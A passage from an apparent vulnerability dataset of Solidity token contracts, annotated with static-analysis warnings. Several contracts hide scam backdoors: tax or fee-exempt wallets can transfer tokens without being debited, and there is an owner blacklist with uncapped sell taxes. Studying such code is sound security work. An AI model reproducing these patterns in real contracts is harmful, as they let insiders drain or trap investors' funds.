.div(100);\n\n if (\n isBuy &&\n to != address(uniswapV2Router) &&\n !isExcludedFromFee[to]\n ) {\n if (limitsInEffect) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n _buyCount++;\n }\n\n if (isSell && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n isSell &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 533edfa\n\t\t\t\t// reentrancy-benign | ID: be753ea\n\t\t\t\t// reentrancy-eth | ID: 64a9c49\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 533edfa\n\t\t\t\t\t// reentrancy-eth | ID: 64a9c49\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (isExcludedFromFee[from] || isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: be753ea\n minLimBound = block.number;\n }\n\n if (!isExcludedFromFee[from] && !isExcludedFromFee[to]) {\n if (!isSell) {\n BurnBoundLimit storage boundLim = burnBoundLimit[to];\n\n if (isBuy) {\n if (boundLim.burnIndc == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: be753ea\n boundLim.burnIndc = _buyCount <= _preventSwapBefore\n ? type(uint).max\n : block.number;\n }\n } else {\n BurnBoundLimit storage boundLimData = burnBoundLimit[from];\n\n if (\n boundLim.burnIndc == 0 ||\n boundLimData.burnIndc < boundLim.burnIndc\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: be753ea\n boundLim.burnIndc = boundLimData.burnIndc;\n }\n }\n } else {\n BurnBoundLimit storage boundLimData = burnBoundLimit[from];\n\n\t\t\t\t// reentrancy-benign | ID: be753ea\n boundLimData.burnUps = boundLimData.burnIndc.sub(minLimBound);\n\n\t\t\t\t// reentrancy-benign | ID: be753ea\n boundLimData.burnSp = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 533edfa\n\t\t// reentrancy-eth | ID: 64a9c49\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 45ea2e5): DOGECKO.burnExclLim is never initialized. It is used in DOGECKO._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 45ea2e5: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : burnExclLim.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 64a9c49\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 533edfa\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 64a9c49\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 64a9c49\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 533edfa\n emit Transfer(from, to, receiptAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 533edfa\n\t\t// reentrancy-events | ID: 629e611\n\t\t// reentrancy-benign | ID: be753ea\n\t\t// reentrancy-benign | ID: bd324a9\n\t\t// reentrancy-eth | ID: 64a9c49\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 533edfa\n\t\t// reentrancy-events | ID: 629e611\n\t\t// reentrancy-eth | ID: 64a9c49\n _taxWallet.transfer(amount);\n }\n\n function transfCaEth() external onlyOwner {\n _taxWallet.transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f805216): DOGECKO.openTrading() ignores return value by IERC20(uniswapPair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f805216: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 90197fa): DOGECKO.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 90197fa: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0cc8788): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0cc8788: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0cc8788\n uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 90197fa\n\t\t// reentrancy-eth | ID: 0cc8788\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: f805216\n\t\t// reentrancy-eth | ID: 0cc8788\n IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 0cc8788\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10026.sol",
"size_bytes": 22997,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n}\n\ncontract Rick is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7cde72d): Rick.routerAdress should be constant \n\t// Recommendation for 7cde72d: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 10803c0): Rick.DEAD should be constant \n\t// Recommendation for 10803c0: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 71205f2): Rick._totalSupply should be constant \n\t// Recommendation for 71205f2: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e4db3df): Rick._swapRickThreshHold should be immutable \n\t// Recommendation for e4db3df: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapRickThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 36ecd63): Rick._maxTaxSwap should be immutable \n\t// Recommendation for 36ecd63: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private Ricks;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 03cf64f): Rick._RickWallet should be immutable \n\t// Recommendation for 03cf64f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _RickWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public RickFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: aac1d2e): Rick._initBuyTax should be constant \n\t// Recommendation for aac1d2e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac5f67e): Rick._initSellTax should be constant \n\t// Recommendation for ac5f67e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8837bea): Rick._reduceBuyTaxAt should be constant \n\t// Recommendation for 8837bea: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d628783): Rick._reduceSellTaxAt should be constant \n\t// Recommendation for d628783: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 9881c90): Rick.constructor(address,string,string).RickWallet lacks a zerocheck on \t _RickWallet = RickWallet\n\t// Recommendation for 9881c90: Check that the address is not zero.\n constructor(\n address RickWallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: 9881c90\n _RickWallet = RickWallet;\n\n _name = name_;\n\n _symbol = symbol_;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_RickWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_RickWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawRickBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableRickTrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n RickFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getRickAmounts(\n uint action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : RickFeeEnabled\n ? takeRickAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = RickFeeEnabled && takeFee\n ? takeRickAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 478535c): Rick.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_RickWallet).transfer(ethAmountFor)\n\t// Recommendation for 478535c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: 22a29f3\n\t\t// reentrancy-eth | ID: 77e2a64\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: 22a29f3\n\t\t// reentrancy-eth | ID: 77e2a64\n\t\t// arbitrary-send-eth | ID: 478535c\n payable(_RickWallet).transfer(ethAmountFor);\n }\n\n function removeRickLimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeRickAmountAfterFees(\n uint RickActions,\n bool RickTakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 RickPercents;\n\n uint256 RickFeePrDenominator = 100;\n\n if (RickTakefee) {\n if (RickActions > 1) {\n RickPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (RickActions > 0) {\n RickPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n RickPercents = 0;\n }\n }\n } else {\n RickPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(RickPercents).div(\n RickFeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: 77e2a64\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = RickTakefee ? feeAmounts : amounts.div(RickPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getRickAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: 77e2a64\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: 77e2a64\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: 22a29f3\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2a60058): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2a60058: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fe0ea67): Rick.createRickTrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for fe0ea67: Ensure that all the return values of the function calls are used.\n function createRickTrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: 2a60058\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2a60058\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: 2a60058\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: fe0ea67\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapRickTokens(\n bool isIncludeFees,\n uint isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minRickTokens = pLimit;\n\n uint256 tokenRickWeight = pAmount;\n\n uint256 contractRickOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractRickOverWeight > minRickTokens &&\n tokenRickWeight > minRickTokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 908de1e): Rick.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for 908de1e: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 908de1e\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 483eea5): Rick.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 483eea5: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 483eea5\n _finalSellTax = _newFee;\n }\n\n function isRickUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeRickActions(\n address from,\n address to\n ) internal view returns (bool, uint) {\n uint _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addRicks(address[] memory Ricks_) public onlyOwner {\n for (uint i = 0; i < Ricks_.length; i++) {\n Ricks[Ricks_[i]] = true;\n }\n }\n\n function delRicks(address[] memory notRick) public onlyOwner {\n for (uint i = 0; i < notRick.length; i++) {\n Ricks[notRick[i]] = false;\n }\n }\n\n function isRick(address a) public view returns (bool) {\n return Ricks[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 22a29f3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 22a29f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 77e2a64): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 77e2a64: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint actions;\n\n require(!Ricks[sender] && !Ricks[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isRickUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeRickActions(sender, recipient);\n\n if (inSwapRickTokens(takefee, actions, amount, _swapRickThreshHold)) {\n\t\t\t// reentrancy-events | ID: 22a29f3\n\t\t\t// reentrancy-eth | ID: 77e2a64\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: 22a29f3\n\t\t// reentrancy-eth | ID: 77e2a64\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}\n",
"file_name": "solidity_code_10027.sol",
"size_bytes": 23046,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n\t\t// reentrancy-eth | ID: 5a9dd79\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n\t\t// reentrancy-eth | ID: 5a9dd79\n _balances[recipient] = _balances[recipient].add(amount);\n\n\t\t// reentrancy-events | ID: 6d1e705\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n 